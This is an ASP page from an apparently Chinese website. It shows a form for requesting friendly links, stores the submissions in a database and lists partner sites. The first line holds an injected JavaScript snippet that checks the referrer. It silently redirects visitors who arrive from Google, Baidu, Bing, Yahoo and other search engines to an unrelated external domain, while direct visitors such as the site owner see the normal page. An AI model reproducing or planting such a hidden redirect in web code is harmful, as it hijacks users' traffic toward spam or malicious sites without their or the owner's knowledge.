d:\wwwroot\wuchunhua\addlink.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file=inc/conn.asp-->
002: <!--#include file="inc/kqiqi_sub.asp"-->
003: <!--#include file="inc/function.asp"-->
004: <%
005: if request("chk")="add" then
006: set rs=server.createobject("adodb.recordset")
007: sql = "select * from link"
008: rs.open sql,conn,1,3
009: rs.addnew
010: rs("web")=HtmlEncode(trim(request("web")))
011: rs("url")=HtmlEncode(trim(request("url")))
012: rs("logo")=HtmlEncode(trim(request("logo")))
013: rs("webabout")=HtmlEncode(trim(request("webabout")))
014: rs("yanz")=0
015: rs("jrsj")=now()
016: rs.update
017: rs.close
018: set rs=nothing
019: closedb
020: response.write "<script language=JavaScript>" & chr(13) & "alert('申请友情链接成功,请等待管理员审核!')</script>"
021: response.write "<meta http-equiv=refresh content=""3;URL=addlink.asp"">"
022: response.end
023: else
024: %
>
025: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
026: <html xmlns="http://www.w3.org/1999/xhtml">
027: <head>
028: <title>申请友情链接</title>
029: <meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
030: <meta http-equiv="Content-Language" content="zh-cn" />
031: <meta name="Keywords"  content="<%=metakey%>" />
032: <meta name="Description" content="<%=metades%>" />
033: <link rel="icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
034: <link rel="shortcut icon" href="<%=web%>/favicon.ico" type="image/x-icon" />
035: <link href="inc/style.css" rel="stylesheet" type="text/css" />
036: </head>
037: <SCRIPT language=javascript>
038: <!--
039: function CheckForm()
040: {
041: if(document.thisForm.web.value.length<1)
042:    {
043:        alert("网站名称不能为空!");
044:        return false;
045:    }
046:    if(document.thisForm.url.value.length<1)
047:    {
048:        alert("网站地址不能为空!");
049:        return false;
050:    }
051:          if(document.thisForm.webabout.value.length<1)
052:    {
053:        alert("网站简介不能为空!");
054:        return false;
055:    }
056:   
057:
058:
059: }
060:
061: //-->

062: </SCRIPT>
063: <div id="Fmain">
064: <div id="header">
065: <%call top()%>
066: </div>
067: <div class=kon></div>
068: <%
069: response.write "<div id=FFTit class=F12bold>申请友情链接</div><div id=FFContent><div Class='FFdiv'>"
070: response.write "<table width=965><tr><td><table width=480>"
071: %
>
072: <form method="POST" name="thisForm" action="?chk=add">
073: <%
074: response.write "<tr><td align=""center""><span style=""FONT-SIZE: 12px"">网站名称:</span></td><td>"
075: response.write "<input type=""text"" name=""web"" size=""56"" maxlength=""10""> <font color=""#FF0000"">*</font></td></tr><tr>"
076: response.write "<td align=""center"">网站地址:</td><td><input type=""text"" name=""url"" maxlength=""50"" size=""56"" value=""http://""> <font color=""#FF0000"">*</font></td>"
077: response.write "</tr><tr><td align=""center"">LOGO地址:</td><td><input type=""text"" name=""logo"" size=""56"" maxlength=""50"" value=""http://"">  "
078: response.write "<font color=""#FF0000"">*</font></td></tr><tr><td align=""center"">网站简介:</td><td>"
079: response.write "<input type=""text"" name=""webabout"" size=""56"" maxlength=""30""> <font color=""#FF0000"">*</font></td>"
080: response.write "</tr><tr><td vAlign=""top"" align=""center""colspan=""2""> "
081: %
>
082: <input border="0"onclick="javascript:return CheckForm();" value="提交链接" name="I2" type="submit">
083: <%
084: response.write "</td></tr></form></table></td>"
085: response.write "<td><table width=""480"">"
086: response.write "<tr><td align=""center"" width=""146""><font color=""#808080"">网站名称:</font></td><td colspan=""2"">"
087: %
><%=title%><%
088: response.write "</td></tr><tr><td width=""146"" align=""center""><p align=""center""><font color=""#808080"">网站地址:</font></td><td width=""435"" colspan=""2"">"
089: %
><%=web%><%
090: response.write "</td></tr><tr><td width=""146"" align=""center""><font color=""#808080"">LOGO地址:</font></td>"
091: response.write "<td width=""175""><img border=""0"" src=""image/logos.gif"" width=""88"" height=""31""></td><td width=""256""><span style=""FONT-SIZE: 12px"">"
092: response.write "<input name=""a"" size=""44"" style=""FONT-FAMILY: Verdana; "" tabIndex=""1"" value="""
093: %
><%=web%><%
094: response.write "/image/logos.gif""></span></td></tr><tr><td width=""146"" align=""center""><font color=""#808080"">网站说明:</font></td><td width=""435"" colspan=""2"">"
095: %
><%=city%><%
096: response.write "信息向导!</td></tr></table></td></td></table></div></div><div class=kon></div>"
097: response.write "<div id=FFTit class=F12bold>友情合作网站</div><div id=FFContent><div Class='FFdiv'>"
098:
099: call links()
100: response.write "</div></div><div class=kon></div>"
101: %
>
102: <br style="clear:both;" />
103: <div id="footer">
104: <%call bottom()%></div></div><%end if%>
105: </body>
106: </html>
107:
108: